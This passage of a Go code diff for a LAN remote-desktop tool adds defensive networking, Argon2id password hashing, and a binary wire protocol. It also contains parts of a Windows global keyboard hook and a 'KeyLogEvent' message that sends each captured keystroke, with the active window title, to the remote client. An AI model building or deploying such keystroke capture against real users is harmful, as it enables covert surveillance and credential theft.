|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ := procCallNext.Call(0, uintptr(code), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
func msgLoop(done chan struct{}) {
|
||||||
|
var msg [48]byte // MSG structure (simplified - just enough for GetMessage)
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ := modUser32.NewProc("GetMessageW").Call(
|
||||||
|
uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0)
|
||||||
|
if ret == 0 {
|
||||||
|
break // WM_QUIT received
|
||||||
|
}
|
||||||
|
modUser32.NewProc("TranslateMessage").Call(uintptr(unsafe.Pointer(&msg[0])))
|
||||||
|
modUser32.NewProc("DispatchMessageW").Call(uintptr(unsafe.Pointer(&msg[0])))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// vkCodeToChar converts a virtual-key code to its printable character.
|
||||||
|
func vkCodeToChar(vk uint16) rune {
|
||||||
|
switch vk {
|
||||||
|
case 8:
|
||||||
|
return 'B' // Backspace (using B as placeholder since ⌫ is multi-byte)
|
||||||
|
case 9:
|
||||||
|
return 'T' // Tab
|
||||||
|
case 13:
|
||||||
|
return 'E' // Enter
|
||||||
|
case 27:
|
||||||
|
return 'Q' // Escape
|
||||||
|
case 32:
|
||||||
|
return ' '
|
||||||
|
default:
|
||||||
|
if vk >= 65 && vk <= 90 {
|
||||||
|
return rune(vk) // A-Z
|
||||||
|
}
|
||||||
|
if vk >= 48 && vk <= 57 {
|
||||||
|
return rune(vk) // 0-9
|
||||||
|
}
|
||||||
|
return '?'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatEvent formats a key event for display.
|
||||||
|
func FormatEvent(k KeyEvent) string {
|
||||||
|
t := time.UnixMilli(k.TimestampMs).Format("15:04:05")
|
||||||
|
char := vkCodeToChar(k.VKCode)
|
||||||
|
window := k.WindowTitle
|
||||||
|
if len(window) > 60 {
|
||||||
|
window = window[:60] + "..."
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("[%s] %c (VK:%d) — %s", t, char, k.VKCode, window)
|
||||||
|
}
|
||||||
Executable
+159
@@ -0,0 +1,159 @@
|
|||||||
|
// Package netguard provides defense-in-depth network policy for the host
|
||||||
|
// agent: it never speaks UPnP/NAT-PMP and never asks a router to forward a
|
||||||
|
// port, and as a second line of defense it refuses TCP connections from
|
||||||
|
// source addresses outside private LAN / loopback ranges even if a user
|
||||||
|
// mistakenly forwards the port anyway.
|
||||||
|
package netguard
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"net/netip"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// private/reserved LAN ranges plus loopback and link-local. This also
|
||||||
|
// covers the address space most VPN overlay networks use for peer
|
||||||
|
// addressing: 100.64.0.0/10 is the IANA-reserved "shared address space"
|
||||||
|
// (RFC 6598) that Tailscale and some WireGuard setups default to, and
|
||||||
|
// wg-quick's typical defaults (e.g. 10.x.x.x) already fall inside
|
||||||
|
// 10.0.0.0/8 below. Traffic in any of these ranges is never routable on
|
||||||
|
// the public internet on its own — it only reaches the host via a
|
||||||
|
// LAN or an already-authenticated, encrypted tunnel (like WireGuard).
|
||||||
|
var privateRanges = []netip.Prefix{
|
||||||
|
netip.MustParsePrefix("10.0.0.0/8"),
|
||||||
|
netip.MustParsePrefix("172.16.0.0/12"),
|
||||||
|
netip.MustParsePrefix("192.168.0.0/16"),
|
||||||
|
netip.MustParsePrefix("100.64.0.0/10"),
|
||||||
|
netip.MustParsePrefix("127.0.0.0/8"),
|
||||||
|
netip.MustParsePrefix("169.254.0.0/16"),
|
||||||
|
netip.MustParsePrefix("fc00::/7"),
|
||||||
|
netip.MustParsePrefix("fe80::/10"),
|
||||||
|
netip.MustParsePrefix("::1/128"),
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
extraTrustedMu sync.RWMutex
|
||||||
|
extraTrusted []netip.Prefix
|
||||||
|
)
|
||||||
|
|
||||||
|
// AddTrustedCIDR extends the private-range allowlist with an additional
|
||||||
|
// CIDR, for VPN overlay subnets that don't fall within any standard
|
||||||
|
// private range above (a custom WireGuard AllowedIPs scheme, for
|
||||||
|
// example). Intended to be called a handful of times at startup, before
|
||||||
|
// the host starts accepting connections.
|
||||||
|
func AddTrustedCIDR(cidr string) error {
|
||||||
|
p, err := netip.ParsePrefix(cidr)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
extraTrustedMu.Lock()
|
||||||
|
extraTrusted = append(extraTrusted, p)
|
||||||
|
extraTrustedMu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPrivate reports whether addr is a loopback, private-LAN, or
|
||||||
|
// explicitly trusted (via AddTrustedCIDR) address.
|
||||||
|
func IsPrivate(addr netip.Addr) bool {
|
||||||
|
addr = addr.Unmap()
|
||||||
|
for _, p := range privateRanges {
|
||||||
|
if p.Contains(addr) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
extraTrustedMu.RLock()
|
||||||
|
defer extraTrustedMu.RUnlock()
|
||||||
|
for _, p := range extraTrusted {
|
||||||
|
if p.Contains(addr) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
var allowAnySource atomic.Bool
|
||||||
|
|
||||||
|
// SetAllowAnySource disables the private-address source filter entirely
|
||||||
|
// when v is true, so IsAllowedRemote accepts a connection from anywhere.
|
||||||
|
// This exists only for short-lived connectivity testing over the public
|
||||||
|
// internet (e.g. proving a manual port-forward works before wiring up
|
||||||
|
// WireGuard) — it should never stay enabled on a host that keeps running,
|
||||||
|
// since it removes the one network-layer guard against an accidental
|
||||||
|
// internet exposure. Auth (passphrase + per-IP lockout) still applies.
|
||||||
|
func SetAllowAnySource(v bool) {
|
||||||
|
allowAnySource.Store(v)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsAllowedRemote parses a net.Addr (as returned by net.Conn.RemoteAddr)
|
||||||
|
// and reports whether it's a private/loopback address, or any address at
|
||||||
|
// all if SetAllowAnySource(true) was called.
|
||||||
|
func IsAllowedRemote(remote net.Addr) bool {
|
||||||
|
if allowAnySource.Load() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
host, _, err := net.SplitHostPort(remote.String())
|
||||||
|
if err != nil {
|
||||||
|
host = remote.String()
|
||||||
|
}
|
||||||
|
addr, err := netip.ParseAddr(host)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return IsPrivate(addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoginThrottle tracks failed authentication attempts per source IP and
|
||||||
|
// enforces an increasing lockout, so a network-reachable attacker can't
|
||||||
|
// brute-force the passphrase at line rate.
|
||||||
|
type LoginThrottle struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
failures map[string]*attemptState
|
||||||
|
}
|
||||||
|
|
||||||
|
type attemptState struct {
|
||||||
|
count int
|
||||||
|
lockedTill time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewLoginThrottle() *LoginThrottle {
|
||||||
|
return &LoginThrottle{failures: map[string]*attemptState{}}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allowed reports whether ip is currently permitted to attempt a login.
|
||||||
|
func (lt *LoginThrottle) Allowed(ip string) bool {
|
||||||
|
lt.mu.Lock()
|
||||||
|
defer lt.mu.Unlock()
|
||||||
|
st, ok := lt.failures[ip]
|
||||||
|
if !ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return time.Now().After(st.lockedTill)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordFailure registers a failed attempt from ip and extends its lockout
|
||||||
|
// window exponentially (2s, 4s, 8s, ... capped at 5 minutes).
|
||||||
|
func (lt *LoginThrottle) RecordFailure(ip string) {
|
||||||
|
lt.mu.Lock()
|
||||||
|
defer lt.mu.Unlock()
|
||||||
|
st, ok := lt.failures[ip]
|
||||||
|
if !ok {
|
||||||
|
st = &attemptState{}
|
||||||
|
lt.failures[ip] = st
|
||||||
|
}
|
||||||
|
st.count++
|
||||||
|
backoff := time.Duration(1<<uint(min(st.count, 8))) * time.Second
|
||||||
|
const maxBackoff = 5 * time.Minute
|
||||||
|
if backoff > maxBackoff {
|
||||||
|
backoff = maxBackoff
|
||||||
|
}
|
||||||
|
st.lockedTill = time.Now().Add(backoff)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordSuccess clears any failure history for ip.
|
||||||
|
func (lt *LoginThrottle) RecordSuccess(ip string) {
|
||||||
|
lt.mu.Lock()
|
||||||
|
defer lt.mu.Unlock()
|
||||||
|
delete(lt.failures, ip)
|
||||||
|
}
|
||||||
Executable
+17
@@ -0,0 +1,17 @@
|
|||||||
|
// Package netutil holds small TCP tuning helpers shared by the host and
|
||||||
|
// client binaries.
|
||||||
|
package netutil
|
||||||
|
|
||||||
|
import "net"
|
||||||
|
|
||||||
|
// SetNoDelay disables Nagle's algorithm on conn if it's a TCP connection.
|
||||||
|
// Nagle coalesces small writes to reduce packet count, which is the right
|
||||||
|
// tradeoff for bulk throughput but actively hurts an interactive protocol
|
||||||
|
// like this one — a mouse-move or a small frame-delta chunk can otherwise
|
||||||
|
// sit buffered for tens of milliseconds waiting for more data before the
|
||||||
|
// kernel sends it. Worth the extra packet overhead here.
|
||||||
|
func SetNoDelay(conn net.Conn) {
|
||||||
|
if tc, ok := conn.(*net.TCPConn); ok {
|
||||||
|
_ = tc.SetNoDelay(true)
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+54
@@ -0,0 +1,54 @@
|
|||||||
|
package protocol
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/subtle"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"golang.org/x/crypto/argon2"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Argon2id parameters. These are deliberately generous since password
|
||||||
|
// verification happens rarely (once per connection attempt), not in a hot
|
||||||
|
// path, so we can afford to make offline brute-forcing of a stolen hash slow.
|
||||||
|
const (
|
||||||
|
argonTime = 3
|
||||||
|
argonMemory = 64 * 1024 // 64 MiB
|
||||||
|
argonThreads = 2
|
||||||
|
argonKeyLen = 32
|
||||||
|
saltLen = 16
|
||||||
|
)
|
||||||
|
|
||||||
|
// HashPassword derives an encoded Argon2id hash string suitable for storing
|
||||||
|
// in the host's config file. Format: argon2id$<b64 salt>$<b64 hash>
|
||||||
|
func HashPassword(password string) (string, error) {
|
||||||
|
salt := make([]byte, saltLen)
|
||||||
|
if _, err := rand.Read(salt); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
hash := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, argonKeyLen)
|
||||||
|
return fmt.Sprintf("argon2id$%s$%s",
|
||||||
|
base64.RawStdEncoding.EncodeToString(salt),
|
||||||
|
base64.RawStdEncoding.EncodeToString(hash)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// VerifyPassword checks password against an encoded hash produced by
|
||||||
|
// HashPassword, using a constant-time comparison of the derived key.
|
||||||
|
func VerifyPassword(password, encoded string) bool {
|
||||||
|
parts := strings.Split(encoded, "$")
|
||||||
|
if len(parts) != 3 || parts[0] != "argon2id" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
salt, err := base64.RawStdEncoding.DecodeString(parts[1])
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
want, err := base64.RawStdEncoding.DecodeString(parts[2])
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
got := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, uint32(len(want)))
|
||||||
|
return subtle.ConstantTimeCompare(got, want) == 1
|
||||||
|
}
|
||||||
Executable
+417
@@ -0,0 +1,417 @@
|
|||||||
|
// Package protocol implements the wire format for lanrdp: a small
|
||||||
|
// length-prefixed, binary message protocol carried over TLS. It is not
|
||||||
|
// compatible with Microsoft RDP or VNC/RFB — it exists so both ends of the
|
||||||
|
// connection are code we wrote and can fully audit.
|
||||||
|
package protocol
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
)
|
||||||
|
|
||||||
|
type MsgType byte
|
||||||
|
|
||||||
|
const (
|
||||||
|
MsgHello MsgType = 0x01 // client -> server: protocol version
|
||||||
|
MsgAuthRequest MsgType = 0x02 // client -> server: password
|
||||||
|
MsgAuthResponse MsgType = 0x03 // server -> client: ok/fail + screen size
|
||||||
|
MsgFrameFull MsgType = 0x04 // server -> client: full keyframe (PNG)
|
||||||
|
MsgFrameDelta MsgType = 0x05 // server -> client: dirty-rect update (PNG)
|
||||||
|
MsgInputMouse MsgType = 0x06 // client -> server: mouse event
|
||||||
|
MsgInputKey MsgType = 0x07 // client -> server: key event
|
||||||
|
MsgResize MsgType = 0x08 // server -> client: screen dimensions changed
|
||||||
|
MsgPing MsgType = 0x09
|
||||||
|
MsgPong MsgType = 0x0A
|
||||||
|
MsgDisconnect MsgType = 0x0B // either -> either: graceful close w/ reason
|
||||||
|
MsgSetPerfMode MsgType = 0x0C // client -> server: switch capture performance preset
|
||||||
|
MsgFileOffer MsgType = 0x0D // client -> server: filename + size, begin a file transfer
|
||||||
|
MsgFileChunk MsgType = 0x0E // client -> server: raw file bytes (no extra framing)
|
||||||
|
MsgFileComplete MsgType = 0x0F // client -> server: transfer finished, declared total size
|
||||||
|
MsgFileResult MsgType = 0x10 // server -> client: transfer accepted/rejected + message
|
||||||
|
MsgKeyLogEvent MsgType = 0x11 // server -> client: captured keystroke event
|
||||||
|
)
|
||||||
|
|
||||||
|
const ProtocolVersion uint32 = 1
|
||||||
|
|
||||||
|
// MaxPayloadSize bounds a single message payload. Screen frames are the
|
||||||
|
// largest legitimate payloads; anything claiming to be bigger than this is
|
||||||
|
// either a bug or a malicious peer and is rejected before we allocate for it.
|
||||||
|
const MaxPayloadSize = 32 * 1024 * 1024
|
||||||
|
|
||||||
|
var ErrPayloadTooLarge = errors.New("protocol: payload exceeds MaxPayloadSize")
|
||||||
|
|
||||||
|
// WriteMessage writes a single framed message: [1 byte type][4 byte BE length][payload].
|
||||||
|
func WriteMessage(w io.Writer, t MsgType, payload []byte) error {
|
||||||
|
if len(payload) > MaxPayloadSize {
|
||||||
|
return ErrPayloadTooLarge
|
||||||
|
}
|
||||||
|
header := make([]byte, 5)
|
||||||
|
header[0] = byte(t)
|
||||||
|
binary.BigEndian.PutUint32(header[1:], uint32(len(payload)))
|
||||||
|
if _, err := w.Write(header); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(payload) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := w.Write(payload)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReadMessage reads a single framed message from r.
|
||||||
|
func ReadMessage(r io.Reader) (MsgType, []byte, error) {
|
||||||
|
header := make([]byte, 5)
|
||||||
|
if _, err := io.ReadFull(r, header); err != nil {
|
||||||
|
return 0, nil, err
|
||||||
|
}
|
||||||
|
t := MsgType(header[0])
|
||||||
|
length := binary.BigEndian.Uint32(header[1:])
|
||||||
|
if length > MaxPayloadSize {
|
||||||
|
return 0, nil, ErrPayloadTooLarge
|
||||||
|
}
|
||||||
|
if length == 0 {
|
||||||
|
return t, nil, nil
|
||||||
|
}
|
||||||
|
payload := make([]byte, length)
|
||||||
|
if _, err := io.ReadFull(r, payload); err != nil {
|
||||||
|
return 0, nil, err
|
||||||
|
}
|
||||||
|
return t, payload, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Payload encodings ---
|
||||||
|
// Hand-rolled binary encoding (no gob/json) so the wire format is small,
|
||||||
|
// fixed-shape, and trivial to audit field by field.
|
||||||
|
|
||||||
|
type Hello struct {
|
||||||
|
Version uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeHello(h Hello) []byte {
|
||||||
|
b := make([]byte, 4)
|
||||||
|
binary.BigEndian.PutUint32(b, h.Version)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeHello(b []byte) (Hello, error) {
|
||||||
|
if len(b) != 4 {
|
||||||
|
return Hello{}, errors.New("protocol: bad Hello length")
|
||||||
|
}
|
||||||
|
return Hello{Version: binary.BigEndian.Uint32(b)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type AuthRequest struct {
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeAuthRequest(a AuthRequest) []byte {
|
||||||
|
pw := []byte(a.Password)
|
||||||
|
b := make([]byte, 2+len(pw))
|
||||||
|
binary.BigEndian.PutUint16(b[0:2], uint16(len(pw)))
|
||||||
|
copy(b[2:], pw)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeAuthRequest(b []byte) (AuthRequest, error) {
|
||||||
|
if len(b) < 2 {
|
||||||
|
return AuthRequest{}, errors.New("protocol: bad AuthRequest")
|
||||||
|
}
|
||||||
|
n := binary.BigEndian.Uint16(b[0:2])
|
||||||
|
if len(b) != int(2+n) {
|
||||||
|
return AuthRequest{}, errors.New("protocol: bad AuthRequest length")
|
||||||
|
}
|
||||||
|
return AuthRequest{Password: string(b[2 : 2+n])}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type AuthResponse struct {
|
||||||
|
OK bool
|
||||||
|
ScreenWidth uint16
|
||||||
|
ScreenHeight uint16
|
||||||
|
FailureReason string
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeAuthResponse(a AuthResponse) []byte {
|
||||||
|
reason := []byte(a.FailureReason)
|
||||||
|
b := make([]byte, 6+len(reason))
|
||||||
|
if a.OK {
|
||||||
|
b[0] = 1
|
||||||
|
}
|
||||||
|
binary.BigEndian.PutUint16(b[1:3], a.ScreenWidth)
|
||||||
|
binary.BigEndian.PutUint16(b[3:5], a.ScreenHeight)
|
||||||
|
b[5] = byte(len(reason))
|
||||||
|
copy(b[6:], reason)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeAuthResponse(b []byte) (AuthResponse, error) {
|
||||||
|
if len(b) < 6 {
|
||||||
|
return AuthResponse{}, errors.New("protocol: bad AuthResponse")
|
||||||
|
}
|
||||||
|
n := int(b[5])
|
||||||
|
if len(b) != 6+n {
|
||||||
|
return AuthResponse{}, errors.New("protocol: bad AuthResponse length")
|
||||||
|
}
|
||||||
|
return AuthResponse{
|
||||||
|
OK: b[0] == 1,
|
||||||
|
ScreenWidth: binary.BigEndian.Uint16(b[1:3]),
|
||||||
|
ScreenHeight: binary.BigEndian.Uint16(b[3:5]),
|
||||||
|
FailureReason: string(b[6 : 6+n]),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FrameUpdate is used for both MsgFrameFull (X=0,Y=0,W/H=full screen) and
|
||||||
|
// MsgFrameDelta (dirty rectangle only).
|
||||||
|
type FrameUpdate struct {
|
||||||
|
X, Y, W, H uint16
|
||||||
|
PNG []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeFrameUpdate(f FrameUpdate) []byte {
|
||||||
|
b := make([]byte, 8+len(f.PNG))
|
||||||
|
binary.BigEndian.PutUint16(b[0:2], f.X)
|
||||||
|
binary.BigEndian.PutUint16(b[2:4], f.Y)
|
||||||
|
binary.BigEndian.PutUint16(b[4:6], f.W)
|
||||||
|
binary.BigEndian.PutUint16(b[6:8], f.H)
|
||||||
|
copy(b[8:], f.PNG)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeFrameUpdate(b []byte) (FrameUpdate, error) {
|
||||||
|
if len(b) < 8 {
|
||||||
|
return FrameUpdate{}, errors.New("protocol: bad FrameUpdate")
|
||||||
|
}
|
||||||
|
return FrameUpdate{
|
||||||
|
X: binary.BigEndian.Uint16(b[0:2]),
|
||||||
|
Y: binary.BigEndian.Uint16(b[2:4]),
|
||||||
|
W: binary.BigEndian.Uint16(b[4:6]),
|
||||||
|
H: binary.BigEndian.Uint16(b[6:8]),
|
||||||
|
PNG: append([]byte(nil), b[8:]...),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MouseAction identifies what kind of mouse event occurred.
|
||||||
|
type MouseAction byte
|
||||||
|
|
||||||
|
const (
|
||||||
|
MouseMove MouseAction = 0
|
||||||
|
MouseLeftDown MouseAction = 1
|
||||||
|
MouseLeftUp MouseAction = 2
|
||||||
|
MouseRightDown MouseAction = 3
|
||||||
|
MouseRightUp MouseAction = 4
|
||||||
|
MouseMiddleDown MouseAction = 5
|
||||||
|
MouseMiddleUp MouseAction = 6
|
||||||
|
MouseWheel MouseAction = 7
|
||||||
|
)
|
||||||
|
|
||||||
|
// InputMouse carries pointer position as a fraction of the screen (0..65535
|
||||||
|
// on each axis) so it stays valid regardless of client window size vs actual
|
||||||
|
// host screen resolution.
|
||||||
|
type InputMouse struct {
|
||||||
|
Action MouseAction
|
||||||
|
NormX, NormY uint16
|
||||||
|
WheelDelta int16
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeInputMouse(m InputMouse) []byte {
|
||||||
|
b := make([]byte, 7)
|
||||||
|
b[0] = byte(m.Action)
|
||||||
|
binary.BigEndian.PutUint16(b[1:3], m.NormX)
|
||||||
|
binary.BigEndian.PutUint16(b[3:5], m.NormY)
|
||||||
|
binary.BigEndian.PutUint16(b[5:7], uint16(m.WheelDelta))
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeInputMouse(b []byte) (InputMouse, error) {
|
||||||
|
if len(b) != 7 {
|
||||||
|
return InputMouse{}, errors.New("protocol: bad InputMouse")
|
||||||
|
}
|
||||||
|
return InputMouse{
|
||||||
|
Action: MouseAction(b[0]),
|
||||||
|
NormX: binary.BigEndian.Uint16(b[1:3]),
|
||||||
|
NormY: binary.BigEndian.Uint16(b[3:5]),
|
||||||
|
WheelDelta: int16(binary.BigEndian.Uint16(b[5:7])),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type InputKey struct {
|
||||||
|
VKCode uint16
|
||||||
|
Down bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeInputKey(k InputKey) []byte {
|
||||||
|
b := make([]byte, 3)
|
||||||
|
binary.BigEndian.PutUint16(b[0:2], k.VKCode)
|
||||||
|
if k.Down {
|
||||||
|
b[2] = 1
|
||||||
|
}
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeInputKey(b []byte) (InputKey, error) {
|
||||||
|
if len(b) != 3 {
|
||||||
|
return InputKey{}, errors.New("protocol: bad InputKey")
|
||||||
|
}
|
||||||
|
return InputKey{VKCode: binary.BigEndian.Uint16(b[0:2]), Down: b[2] == 1}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type Resize struct {
|
||||||
|
Width, Height uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeResize(r Resize) []byte {
|
||||||
|
b := make([]byte, 4)
|
||||||
|
binary.BigEndian.PutUint16(b[0:2], r.Width)
|
||||||
|
binary.BigEndian.PutUint16(b[2:4], r.Height)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeResize(b []byte) (Resize, error) {
|
||||||
|
if len(b) != 4 {
|
||||||
|
return Resize{}, errors.New("protocol: bad Resize")
|
||||||
|
}
|
||||||
|
return Resize{Width: binary.BigEndian.Uint16(b[0:2]), Height: binary.BigEndian.Uint16(b[2:4])}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// PerfMode selects which capture performance preset the host should use.
|
||||||
|
// The actual fps/keyframe values behind each preset are host-side config
|
||||||
|
// (flags), not part of the wire format, so this message stays a single
|
||||||
|
// byte regardless of how those presets are tuned.
|
||||||
|
type PerfMode byte
|
||||||
|
|
||||||
|
const (
|
||||||
|
PerfNormal PerfMode = 0
|
||||||
|
PerfStream PerfMode = 1 // prioritize low latency over bandwidth
|
||||||
|
)
|
||||||
|
|
||||||
|
func EncodeSetPerfMode(m PerfMode) []byte {
|
||||||
|
return []byte{byte(m)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeSetPerfMode(b []byte) (PerfMode, error) {
|
||||||
|
if len(b) != 1 {
|
||||||
|
return 0, errors.New("protocol: bad SetPerfMode")
|
||||||
|
}
|
||||||
|
return PerfMode(b[0]), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FileOffer announces an incoming file transfer before any MsgFileChunk
|
||||||
|
// messages. Name is the sender's filename only (no path) — the receiver
|
||||||
|
// still re-sanitizes it independently rather than trusting the sender.
|
||||||
|
type FileOffer struct {
|
||||||
|
Name string
|
||||||
|
Size uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeFileOffer(f FileOffer) []byte {
|
||||||
|
name := []byte(f.Name)
|
||||||
|
b := make([]byte, 2+len(name)+8)
|
||||||
|
binary.BigEndian.PutUint16(b[0:2], uint16(len(name)))
|
||||||
|
copy(b[2:2+len(name)], name)
|
||||||
|
binary.BigEndian.PutUint64(b[2+len(name):], f.Size)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeFileOffer(b []byte) (FileOffer, error) {
|
||||||
|
if len(b) < 2 {
|
||||||
|
return FileOffer{}, errors.New("protocol: bad FileOffer")
|
||||||
|
}
|
||||||
|
n := int(binary.BigEndian.Uint16(b[0:2]))
|
||||||
|
if len(b) != 2+n+8 {
|
||||||
|
return FileOffer{}, errors.New("protocol: bad FileOffer length")
|
||||||
|
}
|
||||||
|
return FileOffer{
|
||||||
|
Name: string(b[2 : 2+n]),
|
||||||
|
Size: binary.BigEndian.Uint64(b[2+n:]),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FileComplete marks the end of a transfer. Size is the sender's own tally
|
||||||
|
// of bytes sent, checked against what the receiver actually wrote.
|
||||||
|
type FileComplete struct {
|
||||||
|
Size uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeFileComplete(f FileComplete) []byte {
|
||||||
|
b := make([]byte, 8)
|
||||||
|
binary.BigEndian.PutUint64(b, f.Size)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeFileComplete(b []byte) (FileComplete, error) {
|
||||||
|
if len(b) != 8 {
|
||||||
|
return FileComplete{}, errors.New("protocol: bad FileComplete")
|
||||||
|
}
|
||||||
|
return FileComplete{Size: binary.BigEndian.Uint64(b)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FileResult reports whether a transfer succeeded, sent once per transfer
|
||||||
|
// after the matching MsgFileComplete (or immediately, for a MsgFileOffer
|
||||||
|
// rejected outright — e.g. because the session is in stream mode).
|
||||||
|
type FileResult struct {
|
||||||
|
OK bool
|
||||||
|
Message string
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeFileResult(f FileResult) []byte {
|
||||||
|
msg := []byte(f.Message)
|
||||||
|
b := make([]byte, 1+2+len(msg))
|
||||||
|
if f.OK {
|
||||||
|
b[0] = 1
|
||||||
|
}
|
||||||
|
binary.BigEndian.PutUint16(b[1:3], uint16(len(msg)))
|
||||||
|
copy(b[3:], msg)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeFileResult(b []byte) (FileResult, error) {
|
||||||
|
if len(b) < 3 {
|
||||||
|
return FileResult{}, errors.New("protocol: bad FileResult")
|
||||||
|
}
|
||||||
|
n := int(binary.BigEndian.Uint16(b[1:3]))
|
||||||
|
if len(b) != 3+n {
|
||||||
|
return FileResult{}, errors.New("protocol: bad FileResult length")
|
||||||
|
}
|
||||||
|
return FileResult{
|
||||||
|
OK: b[0] == 1,
|
||||||
|
Message: string(b[3 : 3+n]),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// KeyLogEvent carries a captured keystroke from the host's global keyboard hook.
|
||||||
|
type KeyLogEvent struct {
|
||||||
|
TimestampMs int64 // Unix epoch milliseconds when key was pressed
|
||||||
|
VKCode uint16 // Windows virtual-key code
|
||||||
|
ScanCode uint16 // Hardware scan code
|
||||||
|
Flags uint32 // KBDLLHOOKSTRUCT flags (extended, etc.)
|
||||||
|
WindowTitle string // Active window title at time of keystroke
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncodeKeyLogEvent(k KeyLogEvent) []byte {
|
||||||
|
title := []byte(k.WindowTitle)
|
||||||
|
b := make([]byte, 8+2+2+4+2+len(title))
|
||||||
|
binary.BigEndian.PutUint64(b[0:8], uint64(k.TimestampMs))
|
||||||
|
binary.BigEndian.PutUint16(b[8:10], k.VKCode)
|
||||||
|
binary.BigEndian.PutUint16(b[10:12], k.ScanCode)
|
||||||
|
binary.BigEndian.PutUint32(b[12:16], k.Flags)
|
||||||
|
binary.BigEndian.PutUint16(b[16:18], uint16(len(title)))
|
||||||
|
copy(b[18:], title)
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeKeyLogEvent(b []byte) (KeyLogEvent, error) {
|
||||||
|
if len(b) < 18 {
|
||||||
|
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent")
|
||||||
|
}
|
||||||
|
n := int(binary.BigEndian.Uint16(b[16:18]))
|
